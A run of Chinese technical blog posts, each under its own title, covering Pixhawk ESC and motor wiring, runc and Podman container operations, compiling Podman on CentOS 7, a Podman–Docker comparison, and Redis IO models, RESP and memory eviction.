前言这篇文章解释了如何将电调、电机和螺旋桨连接到自动驾驶仪上。以 Pixhawk 为例,但其他自动驾驶仪的连接方式也类似。将每个电调的电源线(+)、地线(-)和信号线(s)按电机编号连接到自动驾驶仪的主输出引脚。在下面找到你的框架类型,以确定电机的分配顺序。Pixhawk 输出引脚(有编号)。前 4 个针脚是用颜色编码的,用于连接一个 Quadframe。1 电机顺序图下图显示了每种框架类型的电机顺序。数字表示自动驾驶仪的哪个输出引脚应该连接到每个电机/螺旋桨。螺旋桨的方向显示为绿色(顺时针,CW)或蓝色(逆时针,CCW)。电机顺序图的图例1.1 四轴旋翼1.2 三轴旋翼 !Note如果你的尾部舵机的方向在响应偏航时走错了,那么 RCn_REVERSE RC 输入方向或倾斜舵机的 SERVOn_REVERSE 参数应设置为 1(从 0 开始),详见 TriCopter 设置页)(TriCopter setup page)。1.3 翼机1.4 六轴旋翼 1.5 Y61.6 八轴旋翼 1.7 四轴八翼 1.8 六轴十二翼1.9 自定义框架可以使用 lua 脚本(lua scripting)配置自定义框架类型,最多可使用 12 个电机。每个电机的横滚、俯仰和偏航系数必须从脚本中计算和加载。这可以通过将 FRAME_CLASS 设置为 15 - 脚本矩阵来实现。参见:加四边形例子(plus quad example)和容错六角形例子(fault tolerant hex example)。!Note不是所有的飞行控制器都支持脚本,见:firmware limitations。1.10 认识顺时针和逆时针的螺旋桨上图显示了两种类型的螺旋桨:顺时针(称为推式)和逆时针(称为拉式)。最可靠的是通过其形状来识别正确的螺旋桨类型,如下图所示。较厚的边缘是前缘,在旋转方向上移动。后缘是更激进的扇形,通常更薄。2 测试电机旋转方向如果你已经完成了无线电(Radio)和电调的校准(ESC calibration),你可以检查你的电机是否在正确方向上旋转:1.确保你的旋翼飞机上没有螺旋桨!2.打开遥控器,确保飞行模式开关设置在自稳。3.连接电池。4. 按住油门向下和右舵 5 秒钟,将旋翼飞机解锁。5. 如果它在油门向下和方向向右的情况下不能解锁,而且电机不会旋转,它可能没有通过预解锁安全检查。预解锁安全检查失败也是由红色解锁灯双闪表示,然后重复;如果预解锁检查失败,请进入预解锁安全检查页面(Prearm Safety Check Page),在继续之前纠正问题或禁用检查。6. 当你可以成功地解锁时,应用少量的油门,并观察和注意每个电机的旋转方向。它们应该与你所选择框架的上述图片中显示的方向一致。7. 将任何在错误方向上旋转的电机反转。3 用任务规划器电机测试检查电机编号另一种检查电机是否被正确连接的方法是使用任务规划器初始设置菜单中的"电机"测试。当通过 MAVLink 连接到飞行器时,你可以点击上图所示的绿色按钮,相应的电机就会旋转 5 秒钟。字母对应的是电机编号,如下图所示。先把你的螺旋桨拿掉!如果没有电机转动,把"Throttle%"提高到 10%,再试一次。如果这还不行,就试试 15%。在"+"配置的情况下,第一个旋转的电机将是位于正前方的那个,在"X"配置的情况下,位于正前方右侧的第一个电机。然后电机测试将以顺时针方向旋转进行。在 X8 的情况下,它将首先旋转前右上方的电机,然后是前右下方的电机,并以同样的模式进行旋转。OctoV 将首先旋转右前方的电机,然后再次旋转,顺时针方向进行,直到到达左前方的电机。4 使用电源分配板有两种连接电机输出的方法。要么将电子速度控制器(ESC)直接连接到自动驾驶仪上,要么使用配电板(PDB)。当使用 PDB 时,将每个电调的电源线(+)、地线(-)和信号线(s)按照电机编号连接到 PDB 上。在下面找到你的飞行器类型,以确定电机的分配顺序。然后将信号线从 PDB 连接到自动驾驶仪的主输出信号针脚上(确保电机顺序号与控制器上的主输出针脚号匹配)。如果你使用的是电源模块,可以选择将电源线和地线从 PDB 连接到自动驾驶仪板上。如果你想在电源模块之外或代替电源模块使用这些电缆,或作为低电流舵机的共用点,请将地线(-)连接到主输出的地线(-)针脚,将电源线(+)连接到主输出的电源(+)针脚。5 KDE(和其他)光电隔离的电调KDEXF-UAS 和 KDEF-UASHV 系列是光耦隔离的,不为外围设备提供 BEC 电源输出。它们需要 +5V 为光电隔离器供电,虽然 Pixhawk 可以从伺服轨道供电,但它不提供 +5V 给伺服轨道。电调必须由 BEC 供电,或者用跳线从电路板上的一个未使用的连接器供电。强烈建议你使用 BEC 为轨道供电,而不是使用跳线。KDE 电调有固定的 PWM 范围,所以你必须手动设置每个 PWM 信号的输出范围,使 RCx_MIN 为 1100,RCx_MAX 为 1900us,使用计划器中的高级参数或全参数设置页。6 Pixhawk电调问题据报道,一些电调不能与 Pixhawk 一起工作。Pixhawk 应该与每一个能与普通遥控接收器一起使用的电调一起工作(因为它发送相同类型的信号),但有一个已知的例外,即 EMAX 电调(one known exception, the EMAX ESC)。在大多数情况下,问题是由于不正确的布线造成的。始终连接信号和地线。检查你的电调类型以决定如何连接 +5V 线。对于 Pixhawk,你必须同时连接信号和信号地,以使电调工作。欲了解更多信息,请看这个视频(this video)。
podman runc
什么是runcrunc是基于OCI规范,用于生成和运行容器的CLI工具,由go语言编写,完成支持Linux特性,例如: selinux,cgroups等,是个独立的组件,甚至于你可以用此来运行符合OCI规范的镜像,或则适用runc单独构建并且运行镜像,除此之外,还有一个工具叫做crun是用c语言编写的符合 OCI规范的工具,注意不要搞混了。除了runc和crun,还有其他工具么? 答案是有的,例如: kata、gVisor等。runc安装这里简单提一下,因为runc是使用go语言进行编写的,所以你可以在github``release中下载适合自己的系统的runc,而不用编译安装,不过还是要提及一下。二进制安装在runc``github``release选择合适的版本和类型进行下载即可,地址: github.com/opencontain…源码安装不建议直接git clone项目,而是和上述一致,在release中直接下载源码进行编译安装。前提: go版本需要高于1.17检测go版本安装依赖yum install libseccomp-devel -y下载v1.1.1的源码并且编译安装wget https://github.com/opencontainers/runc/archive/refs/tags/v1.1.1.tar.gz
tar xf v1.1.1.tar.gz
cd runc-1.1.1/
make查看版本尝试使用runc启动一个容器从podman中导出一个容器查看正在运行的容器我们导出nginx5使用 podman export导出创建rootfs目录并且解压利用runc生成容器规范文件命令: runc spec利用runc启动容器命令: runc run pdudoJuejinRuncIDsps: pdudoJuejinRuncIDs 是容器ID查看runc启动的容器我们打开另外一个窗口,并且使用 runc list查看,正在我们刚刚启动的容器感悟podman使用runc作为默认的runtime,所以我们可以这样玩我们发现,使用runc list 也能输出正在运行的容器,甚至于我们可以使用runc ps 容器ID输出正在运行的容器进程信息容器运行时,不仅只有runc还有如前文所述的那几种,都是基于OCI规范标准的,你也许和我一样好奇,这个标准有什么用? 我举个例子吧,前段时间,kubernetes宣布在v1.20中弃用docker闹得沸沸扬扬,大家好奇这货为啥不支持docker了,原因是因为docker出来的时候业界还没有标准达成,就像是上世纪计算机那阵子,不也出现了大端序 和 小端序么,大家都各玩各的,回来头来看docker,它之所以能够在kubernetes上跑,是因为有dockershim这么个中间件,这就是先有东西,再有标准(CRI),所以标准很重要,以至于我们按照标准可以写个类似runc出来,或则按照runc我们写个podman出来。扯多了,扯多了。反正目前podman(v3.4.4) 是使用 runc作为默认runtime的。发现掘金这个激励计划,有点意思,我现在强迫自己学习,我清明假期,每天都要花大概3-4个小时,确认主题,查询资料,然后做实验,最后整理成文档,掘金真是强~
podman 容器操作(下)
由于清明回老家了,服务器在租房那里没带回来,所以我在自己家里的centos上安装了一个podman 3.4.4显示容器元数据使用 podman inspect可以显示对象的元数据可操作的对象包括 容器(container) 、镜像(image)、网络(network)、pod、存储卷(volume)命令分别为podman container inspectpodman image inspectpodman network inspectpodman pod inspectpodman volume inspect获取容器的ip地址我们启动nginx容器命令podman run -d --name mynginx -p 9090:80 nginx意思为启动一个容器,并且将容器名称命名为 mynginx且将宿主机9090映射至容器的80端口我们使用 podman container mynginx查看一下 容器的元数据信息使用 -f可以获取指定的信息例如: 获取名称 和 ip地址podman container inspect -f '{{.Name}}' mynginxpodman container inspect -f '{{.NetworkSettings.IPAddress}}' mynginx如何获取指定的信息-f {{}}格式化输出,中编写变量,其逻辑为直接定义inspect中的信息,例如: 上述获取ip地址的逻辑为查询 inspect 中的 NetworkSettings 中的 IPAddress , 我们将数据格式化后可得比如,我们想获取Mac地址,-f 为: '{{.NetworkSettings.MacAddress}}'其他资源类似,甚至你可以省略资源,只用写名称,因为podman名称是唯一的例如:创建一个卷命名为 mydisk,并且查看 mydisk 的元数据 和 mynginx 的 Mac 地址挂载之前我们使用 -v挂载卷(volume) ,其实它还可以挂载宿主机目录我们还可以使用mount来映射整个容器的目录挂载nginx html目录命令mkdir -p /root/html/
echo 'juejin pdudo test' > /root/html/index.html
podman run -d --name mynginx2 -v /root/html:/usr/share/nginx/html -p 9091:80 nginx
a88e38a954130f24010693cbd9867eabcd4a1de7a63612b810ef2f6edf47aa30
podman container inspect -f '{{.NetworkSettings.IPAddress}}' mynginx2挂载成果,访问网站,成功输出 juejin pdudo test注意事项-v 前面参数是宿主机目录 后面参数是容器中的目录宿主机目录需要使用绝对路径,否则podman会随机将容器中的目录给映射到宿主机上查看挂载信息podman inspect -f '{{.Mounts}}' mynginx2使用 -f输出的不太好看,我们直接使用 inspect往上翻翻看宿主机必须要绝对路径挂载文件这次我们将 /dev/log 挂载到 容器中,并且在容器中输出log,我们观察宿主机是否出现日志命令podman run --name myalpine -v /dev/log:/dev/log alpine logger 'juejin pdudo test'
journalctl | grep juejin宿主机日志果然出现了 juejin pdudo test所以,-v不仅能够挂载目录,还能够挂载文件(linux 一切皆文件)将整个容器根系统映射出来我们使用podman mount可以将整个容器文件系统挂载到宿主机上例如如下,我们启动一个nginx容器,并且将该容器的文件系统挂载出来,我们更具挂载出来的路径,我们成功修改了容器的内文件的内容。指定容器的IP地址在创建容器时,可以使用--ip指定ip地址设置nginx容器ip地址运行nginx容器,将其地址设置为10.88.0.99导入和导出容器在日常工作中,我们经常有容器不经常使用,但是又必须存在的时候,为避免误操作(podman rm),我们可以打包放在本地,在需要容器的时候,我们在导入到镜像中即可。导出容器我们将nginx5容器给导出来命令 podman export -o tarball名称 容器ID我们查看容器信息我们导出mynginx5容器导入镜像我们将上次导出的容器,导入到镜像中我们可以看到,导入成功后,名称为: localhost/mynginx,我们需要的时候,直接运行就可以了。心得体会获取元数据获取元数据,在日常工作中,作为排查问题非常有效,例如 之前测试 -v挂载,我宿主机忘记了写绝对路径了,导致实验结果不对,通过查询元数据才发现的。当我们挂载了相对路径的目录后我们查询元数据,就可以发现异常我们挂载的宿主机的html名称,而挂载点变为了/var/lib/containers/storage/volumes/html/_data通过这2天的学习,简而言之,如果会docker,那么入手podman简直得心应手,我使用了一圈下来,发现 podman不能说很像docker,简直是一模一样,之所以可以豪气的定义别名alias docker=podman,原来是有底气的,不得不说,运维也在卷了,说不定再过一段时间,你会看到这道面试题: "你认为Podman和Docker有什么区别? Podman优势在哪里? "。
podman容器操作
上一篇文章,我们已经在 Centos 7上安装 podman 3.4.4,这次我们来看如何使用podman,如果熟悉docker,那么对于操作podman应该更加得心应手。接上一回上次centos 7安装podman 3.4.4, 我安装完了以后,就用root用户测试了一下没问题就撤了,今天来写文章的时候,发现普通用户上去执行run命令会失败,查阅了资料,记录一下使用debug 跟踪一下命令 ./bin/podman --log-level=debug run -d nginx报错如下:解决:上述异常经过排查,排查过程就不追溯了,是因为内核过低引起的,使用 uname -r可以查看内核版本,若小于4.18.0则需要升级才行。参考:github.com/containers/…github.com/containers/…升级内核(升级内核需要root权限才行哈)ps: 本次机器是测试机器,所以内核升级为最新内核,实际线上机器视情况而定,一般不建议升级为最新版本,除非你又特殊需求centos7 kernel rpm 下载页面:elrepo.org/linux/kerne…mkdir kernel
cd kernel/
wget https://elrepo.org/linux/kernel/el7/x86_64/RPMS/kernel-lt-devel-5.4.188-1.el7.elrepo.x86_64.rpm
wget https://lmdops.oss-cn-shanghai.aliyuncs.com/ops/oss/2022-04-02-18-25-27/kernel-lt-devel-5.4.188-1.el7.elrepo.x86_64.rpm
yum localinstall kernel-lt-* -y
grub2-set-default 0 && grub2-mkconfig -o /etc/grub2.cfg
grubby --args="user_namespace.enable=1" --update-kernel="$(grubby --default-kernel)"
# reboot # 为避免复制粘贴,所以reboot 给屏蔽了的,更新完内核,需要重启才行
uname -r确认完毕后,再次启动podman容器就正常了。我会列举podman操作容器的相关命令,每条命令都跟上实例,当和docker不一致时,会着重解释这是为什么。快速尝试可以使用 podman run --help获取帮助其中,常用podman run 参数podman run [options] IMAGE [COMMAND [ARG...]]选项为--detach / -d : 将容器运行在后台,并且打印运行容器的ID--attach / -a: 启动容器,并且连接到 标准输入(stdin)/标准输出(stdout)/错误输出(stderr)(将容器放至前台运行)--name / -n: 为容器分配名称,若没有分配,则会为其分配随机字符串--rm : 当容器退出后删除容器--rmi: 当容器退出后若没有容器再使用该镜像时,会删除镜像,通常与--rm共同搭配使用--tty / -t: 为容器分配tty--interactive / -i: 即使容器未在前台运行,也将stdout连接出来,即 交互式(-a 包含了该操作)使用 alpine输出 Hello World命令: podman run alpine echo 'hello world'创建 alpine容器,并且建立交互并且查看其ip后退出命令: podman run -it alpine /bin/sh-i: 打开交互式,若不适用-t选项,是无法输入任何命令的-t: 打开终端,如果不适用-i选项,则打开后会立马退出掉在后台运行nginx命令: podman run -d nginx-d: 将容器启动运行至后台列出容器podman 比 docker ps命令 新增了 如下参数-p, --pod 列出POD相关信息-w, --watch uint 以秒为单位输出ps使用podman ps --help可以查看帮助查看正在运行的容器使用 podman ps可以查看使用podman ps --ns 还可以显示用户空间查看所有容器使用podman ps -a可以查看仅查看容器ID使用podman ps -q可以查看容器ID我记得很早之前,我是这么来获取ID的podman ps | awk 'NR>1 {print $1}'。。。查看容器容量大小使用podman ps -s可以查看容器占用空间启动和停止容器启动交互模式容器还记得我们之前启的 alpine 容器么,它是交互式的,我们现在来启动它命令 podman start -a -i 容器名称启动非交互式容器我们直接使用 podman start 容器名称即可容器卷为什么需要卷可以持久保留容器中的数据方便容器间共享不会增加容器的大小使用卷实例我们尝试一下,我们建立一个卷,并且使用2个容器间共享使用/podman volume create disk1创建disk1卷我们创建一个容器并且将盘挂载上去podman run -it -v disk1:/root/ alpine /bin/sh想容器/root中创建一个文件我们再次启动一个容器,并且将盘挂载上去为避免混淆,我对容器命名了一个名字,我们查看 /root 下的文件我们甚至于可以对文件添加内容我们回到容器1 查看删除容器删除容器前,应当停止容器删除某个容器使用podman rm 容器名称 删除某个容器(容器必须在停止情况下才能删除)心得体会从上述来看,podman几乎完全兼容docker,也对,不兼容就死了,本来计划今天应该写得更多的,但是由于如开头所述,普通用户使用podman报文,耽搁些时间,所以后续的就没写了,后面再补充吧。库podman远程库不仅有 docker ,还有其他的,例如会让我们选择一个源进行下载,当然,这些源都是可配置的从卷来看podman和docker的区别我们来看我们刚刚创建的卷会发现 Mountpoint在 $HOME 下面当你如果使用sudo进行创建的时候,你会发现 ,该卷 在 val下面所以各个用户使用podman创建资源,并不会影响别的用户而docker则不行,因为它有一个docker server代为执行,所以仅仅有一个路径,任何用户,只要有docker权限,都可以操作所有的资源,这是docker架构所决定的。溜了 溜了
CentOS 7 上编译安装 Podman 3.4.4
ntos 因为gpgme-devel版本过于老旧,所以无法支持Podman 4.x,支持最高版本为 3.4.4目前Centos 7 从extras源安装 podman,安装的版本为 v1.6.4,而截止目前(2022年4月2日),podman最新版本为: v4.0.2,版本差距迭代太大,而github发布的版本中没有linux版本。所以我打算编译安装一下。其中包含以下内容golang 安装(当前最新版本: 1.18)conmon 安装(当前最新版本: 2.1.0)runc 安装(当前最新版本: 1.1.1)podman安装(centos 7支持最高版本: 3.4.4)centos extras podman 版本so ,要是用较高版本,则需要我们自行构建一下为避免安装过程中出现为止问题,请临时关闭selinux在centos 7上安装podman 3.4.4在Centos 7 上安装golang如果你的机器环境上没有golang环境的话,则需要先安装golang,版本需要在 v1.6 以上查看golang版本安装相关依赖conmon 和 runc 安装conmon查看conmon版本conmon是用C语言编写的工具,用于单个容器的管理器。和 OCI runc 或者 OCI crun通信当容器运行时,conmon会做以下事情提供一个用于附加到容器的套接字,保持打开容器的标准流并且通过套接字转发它们将容器流的内容写入日志文件,以便在容器退出后读取它们runc查看runc版本runc是golang写的关于CLI工具,用于根据OCI规范在 Linux上生成和运行容器。设置CNI网络默认情况下,CNI网络配置文件下载好后,无需配置,即可使用 podmanregistries.conf: 容器镜像注册配置文件,文件格式为 TOMLpolicy.json:证书安全策略文件,文件格式为 JSON安装podman查看podman版本podman支持可选的构建便签,用于编译支持各种功能,将要构建的标签添加到make选项,BUILDTAGS必须设置变量,例如 BUILDTAGS="selinux seccomp"测试启动一个nginx容器我们查看 系统占用:8081端口信息,我们会发现,进程是 conmon心得体会1、 最开始安装的时候,安装的是目前最新版本 v4.0.2,结果在make过程中抛错在 github上了解到 是gpgme-devel引起的,主要原因还是 Centos 7太老了。github.com/containers/…
容器之podman基础
1. 什么是Podmanpodman是红帽(Redhat) 所研发的一款用于管理 OCI容器和Pod(类似k8s pod 非 k8s pod)的工具,RedHat 8 和 Centos 8 默认容器引擎 且 无守护进程的引擎,兼容docker,熟悉dokcer很容易上手podman。2. podman 和 docker 的区别2.1 podman 和 docker 架构podmandocker2.2 podman 和 docker 区别2.2.1 守护进程docker 采用守护进程模式来运行容器的抽象出来即管理镜像/创建容器 均有docker server管理,典型的客户端/服务器架构当我们启动 docker后,使用 ps aux | grep docker-container即可以看到该 守护进程docker查看版本的时候,会呈现客户端和服务器的版本podman 采用无守护进程架构相比之下,podman闲置资源要低得多,即 若没有容器运行,则podman不会运行,而docker即使没有容器运行,也会启动一个守护进程(docker Server)2.2.2 安全上节所述,docker使用守护进程模式,而 podman则使用的是无守护进程架构,那么2者到底有什么关系呢?最主要的区别是: docker必须使用root权限 或者 在 docker群组中,才能使用 docker, 而 podman则无此限制。我们模拟一下docker我们尝试新建用户,然后去使用docker操作新建镜像输出hello world。可见,报错了,报错原因是 权限不足,我们查看unix套接字的权限。所以,需要root/sudo权限才行。我们赋予dockerTest1 sudo 权限,再次尝试下。podman我们使用普通用户登入测试podman机器,顺利启动容器,并且输出 'hello world'。在别的用户下,使用podman是看不到这个容器的,podman能够做到容器隔离。总结若作为多用户而言,podman启动的容器是独立的,互不干扰,且不需要添加任何特权的情况下,均可运行,而docker启动的容器却是在一起的,只要有docker server权限,那么就可以操作所有容器,这是不安全的。2.2.3 镜像构建docker 可以使用 docker build/docker commit 构建镜像,而 podman 则不行,它是为运行容器而编写的,而非创建镜像,创建镜像则需要交给其他工具: Buildah , 此外它还有一个兄弟: Skopeo ,后续再讲。podman工具列举一下Buildah: 用于构建、推送和签名容器镜像;Skopeo:用于复制、检查、删除和签名镜像;可见,podman是分模块处理的,而docker则是以一个整体来处理。3. 如何快速入门使用podman前文提到过,podman兼容docker,那么到底有多兼容呢,你甚至可以为 podman建立别名因此,你可以在开发中使用docker, 而线上环境中可以使用podman,因为它足够安全。我们尝试下使用podman启动一个nginx服务器命令参考$ podman pull nginx
$ podman run -d --name nginx -p 8080:80 nginx
$ podman ps
$ curl 127.0.0.1:80804.思考为什么要使用podman,经过上面的对比,podman和 docker的差别不言而喻,而podman作为红帽的产品,有独特的优势,且是docker目前最好的替代品。为什么podman能够运行docker镜像,或者说是能够'代替'docker因为docker和 podman都符合OCI,所以得以兼容,就像上述所讲,你甚至可以在开发环境中使用docker管理容器,而在生产环境中使用podman, 因为它相比于docker,更加安全。
Redis原理(下)
3-3.非阻塞IO非阻塞IO的recvfrom操作会立即返回结果而不是阻塞用户进程。阶段一:用户进程尝试读取数据(比如网卡数据)此时数据尚未到达,内核需要等待数据返回异常给用户进程用户进程拿到error后,再次尝试读取循环往复,直到数据就绪阶段二:将内核数据拷贝到用户缓冲区拷贝过程中,用户进程依然阻塞等待拷贝完成,用户进程解除阻塞,处理数据可以看到,非阻塞IO模型中,用户进程在第一个阶段是非阻塞,第二个阶段是阻塞状态。虽然是非阻塞,但性能并没有得到提高。而且盲等机制会导致CPU空转,CPU使用率暴增。3-4.IO多路复用无论是阻塞IO还是非阻塞IO,用户应用在一阶段都需要调用recvfrom来获取数据,差别在于无数据时的处理方案:如果调用recvfrom时,恰好没有数据,阻塞IO会使CPU阻塞,非阻塞IO使CPU空转,都不能充分发挥CPU的作用。如果调用recvfrom时,恰好有数据,则用户进程可以直接进入第二阶段,读取并处理数据所以怎么看起来以上两种方式性能都不好而在单线程情况下,只能依次处理IO事件,如果正在处理的IO事件恰好未就绪(数据不可读或不可写),线程就会被阻塞,所有IO事件都必须等待,性能自然会很差。在多路复用模型中,通过文件描述符掌握内核数据是否就绪。文件描述符(File Descriptor):简称FD,是一个从0 开始的无符号整数,用来关联Linux中的一个文件。在Linux中,一切皆文件,例如常规文件、视频、硬件设备等,当然也包括网络套接字(Socket)。通过FD,我们的网络模型可以利用一个线程监听多个FD,并在某个FD可读、可写时得到通知,从而避免无效的等待,充分利用CPU资源。3-4-1.IO多路复用-Select模式阶段一:用户进程调用select,指定要监听的FD集合核监听FD对应的多个socket任意一个或多个socket数据就绪则返回readable此过程中用户进程阻塞阶段二:用户进程找到就绪的socket依次调用recvfrom读取数据内核将数据拷贝到用户空间用户进程处理数据当用户去读取数据的时候,不再去直接调用recvfrom了,而是调用select的函数,select函数会将需要监听的数据交给内核,由内核去检查这些数据是否就绪了,如果说这个数据就绪了,就会通知应用程序数据就绪,然后来读取数据,再从内核中把数据拷贝给用户态,完成数据处理,如果N多个FD一个都没处理完,此时就进行等待。用IO复用模式,可以确保去读数据的时候,数据是一定存在的,他的效率比原来的阻塞IO和非阻塞IO性能都要高Select模式缺点:频繁的传递fd集合频繁的去遍历FD能监听的FD最大不超过1024每次select都需要把所有要监听的FD都拷贝到内核空间每次都要遍历所有FD来判断就绪状态3-4-2.IO多路复用-Poll模式poll模式对select模式做了简单改进,但性能提升不明显IO流程:创建pollfd数组,向其中添加关注的fd信息,数组大小自定义调用poll函数,将pollfd数组拷贝到内核空间,转链表存储,无上限内核遍历fd,判断是否就绪数据就绪或超时后,拷贝pollfd数组到用户空间,返回就绪fd数量n用户进程判断n是否大于0,大于0则遍历pollfd数组,找到就绪的fd与select对比:select模式中的fd_set大小固定为1024,而pollfd在内核中采用链表,理论上无上限监听FD越多,每次遍历消耗时间也越久,性能反而会下降3-4-3.IO多路复用-EPoll模式epoll模式是对select和poll的改进,它提供了三个函数:eventpoll的函数红黑树 -> 记录的事要监听的FD链表 ->记录的是就绪的FDepoll_ctl的函数紧接着调用epoll_ctl操作,将要监听的数据添加到红黑树上去,给每个fd设置一个监听函数,这个函数会在fd数据就绪时触发,把fd数据添加到list_head中去epoll_wait的函数等待,在用户态创建一个空的events数组,当就绪之后,回调函数会把数据添加到list_head中去,当调用这个函数的时候,会去检查list_head,这个过程需要参考配置的等待时间,可以等一定时间,也可以一直等,如果在此过程中,检查到了list_head中有数据会将数据添加到链表中,此时将数据放入到events数组中,并且返回对应的操作的数量,用户态的此时收到响应后,从events中拿到对应准备好的数据的节点,再去调用方法去拿数据。Epoll模式优点基于epoll实例中的红黑树保存要监听的FD,理论上无上限,而且增删改查效率都非常高每个FD只需要执行一次epoll_ctl添加到红黑树,以后每次epol_wait无需传递任何参数,无需重复拷贝FD到内核空间利用ep_poll_callback回调函数机制来监听FD状态,无需遍历所有FD,因此性能不会随监听的FD数量增多而下降3-5.基于Epoll模式的服务端流程服务器启动以后,服务端会去调用epoll_create,创建一个epoll实例,epoll实例中包含两个数据1、红黑树(为空):rb_root 用来去记录需要被监听的FD2、链表(为空):list_head,用来存放已经就绪的FD创建好了之后,会去调用epoll_ctl函数,此函数会会将需要监听的数据添加到rb_root中去,并且对当前这些存在于红黑树的节点设置回调函数,当这些被监听的数据一旦准备完成,就会被调用,而调用的结果就是将红黑树的fd添加到list_head中去(但是此时并没有完成)3、当第二步完成后,就会调用epoll_wait函数,这个函数会去校验是否有数据准备完毕(因为数据一旦准备就绪,就会被回调函数添加到list_head中),在等待了一段时间后(可以进行配置),如果等够了超时时间,则返回没有数据,如果有,则进一步判断当前是什么事件,如果是建立连接时间,则调用accept() 接受客户端socket,拿到建立连接的socket,然后建立起来连接,如果是其他事件,则把数据进行写出3-6.信号驱动信号驱动IO是与内核建立SIGIO的信号关联并设置回调,当内核有FD就绪时,会发出SIGIO信号通知用户,期间用户应用可以执行其它业务,无需阻塞等待。阶段一:用户进程调用sigaction,注册信号处理函数内核返回成功,开始监听FD用户进程不阻塞等待,可以执行其它业务当内核数据就绪后,回调用户进程的SIGIO处理函数阶段二:收到SIGIO回调信号调用recvfrom,读取内核将数据拷贝到用户空间用户进程处理数据信号驱动缺点当有大量IO操作时,信号较多,SIGIO处理函数不能及时处理可能导致信号队列溢出,而且内核空间与用户空间的频繁信号交互性能也较低。3-7.异步IO这种方式,不仅仅是用户态在试图读取数据后,不阻塞,而且当内核的数据准备完成后,也不会阻塞他会由内核将所有数据处理完成后,由内核将数据写入到用户态中,然后才算完成,所以性能极高,不会有任何阻塞,全部都由内核完成,可以看到,异步IO模型中,用户进程在两个阶段都是非阻塞状态。3-8.Redis多线程网络模型当我们的客户端想要去连接我们服务器,会去先到IO多路复用模型去进行排队,会有一个连接应答处理器,他会去接受读请求,然后又把读请求注册到具体模型中去,此时这些建立起来的连接,如果是客户端请求处理器去进行执行命令时,他会去把数据读取出来,然后把数据放入到client中,clinet去解析当前的命令转化为redis认识的命令,接下来就开始处理这些命令,从redis中的command中找到这些命令,然后就真正的去操作对应的数据了,当数据操作完成后,会去找到命令回复处理器,再由他将数据写出。4-Redis-RESP通信协议Redis是一个CS架构的软件,通信一般分两步(不包括pipeline和PubSub):客户端(client)向服务端(server)发送一条命令服务端解析并执行命令,返回响应结果给客户端因此客户端发送命令的格式、服务端响应结果的格式必须有一个规范,这个规范就是通信协议。而在Redis中采用的是RESP(Redis Serialization Protocol)协议:Redis 1.2版本引入了RESP协议Redis 2.0版本中成为与Redis服务端通信的标准,称为RESP2Redis 6.0版本中,从RESP2升级到了RESP3协议,增加了更多数据类型并且支持6.0的新特性--客户端缓存但目前,默认使用的依然是RESP2协议,也是我们要学习的协议版本(以下简称RESP)。在RESP中,通过首字节的字符来区分不同数据类型,常用的数据类型包括5种:单行字符串:首字节是 ‘+’ ,后面跟上单行字符串,以CRLF( "\r\n" )结尾。例如返回"OK": "+OK\r\n"错误(Errors):首字节是 ‘-’ ,与单行字符串格式一样,只是字符串是异常信息,例如:"-Error message\r\n"数值:首字节是 ‘:’ ,后面跟上数字格式的字符串,以CRLF结尾。例如:":10\r\n"多行字符串:首字节是 ‘$’ ,表示二进制安全的字符串,最大支持512MB:如果大小为0,则代表空字符串:"$0\r\n\r\n"如果大小为-1,则代表不存在:"$-1\r\n"数组:首字节是 ‘*’,后面跟上数组元素个数,再跟上元素,元素数据类型不限:5-Redis内存回收Redis之所以性能强,最主要的原因就是基于内存存储。然而单节点的Redis其内存大小不宜过大,会影响持久化或主从同步性能。我们可以通过修改配置文件来设置Redis的最大内存当内存使用达到上限时,就无法存储更多数据了。为了解决这个问题,Redis提供了一些策略实现内存回收:内存过期策略内存淘汰策略5-1.内存过期策略通过expire命令给Redis的key设置TTL(存活时间)可以发现,当key的TTL到期以后,再次访问name返回的是nil,说明这个key已经不存在了,对应的内存也得到释放。从而起到内存回收的目的。Redis本身是一个典型的key-value内存存储数据库,因此所有的key、value都保存在之前学习过的Dict结构中。不过在其database结构体中,有两个Dict:一个用来记录key-value;另一个用来记录key-TTL。5-1-1.惰性删除顾明思议并不是在TTL到期后就立刻删除,而是在访问一个key的时候,检查该key的存活时间,如果已经过期才执行删除。5-1-2.周期删除顾明思议是通过一个定时任务,周期性的抽样部分过期的key,然后执行删除。执行周期有两种:Redis服务初始化函数initServer()中设置定时任务,按照server.hz的频率来执行过期key清理,模式为SLOWSLOW模式规则:执行频率受server.hz影响,默认为10,即每秒执行10次,每个执行周期100ms。执行清理耗时不超过一次执行周期的25%.默认slow模式耗时不超过25ms逐个遍历db,逐个遍历db中的bucket,抽取20个key判断是否过期如果没达到时间上限(25ms)并且过期key比例大于10%,再进行一次抽样,否则结束Redis的每个事件循环前会调用beforeSleep()函数,执行过期key清理,模式为FASTFAST模式规则(过期key比例小于10%不执行 )执行频率受beforeSleep()调用频率影响,但两次FAST模式间隔不低于2ms执行清理耗时不超过1ms逐个遍历db,逐个遍历db中的bucket,抽取20个key判断是否过期如果没达到时间上限(1ms)并且过期key比例大于10%,再进行一次抽样,否则结束5-2.内存淘汰策略内存淘汰就是当Redis内存使用达到设置的上限时,主动挑选部分key删除以释放更多内存的流程。Redis会在处理客户端命令的方法processCommand()中尝试做内存淘汰。Redis支持8种不同策略来选择要删除的key:noeviction: 不淘汰任何key,但是内存满时不允许写入新数据,默认就是这种策略。volatile-ttl: 对设置了TTL的key,比较key的剩余TTL值,TTL越小越先被淘汰allkeys-random:对全体key ,随机进行淘汰。也就是直接从db->dict中随机挑选volatile-random:对设置了TTL的key ,随机进行淘汰。也就是从db->expires中随机挑选。allkeys-lru: 对全体key,基于LRU算法进行淘汰volatile-lru: 对设置了TTL的key,基于LRU算法进行淘汰allkeys-lfu: 对全体key,基于LFU算法进行淘汰volatile-lfu: 对设置了TTL的key,基于LFI算法进行淘汰 比较容易混淆的有两个:LRU(Least Recently Used),最少最近使用。用当前时间减去最后一次访问时间,这个值越大则淘汰优先级越高。LFU(Least Frequently Used),最少频率使用。会统计每个key的访问频率,值越小淘汰优先级越高。
Redis原理(中)
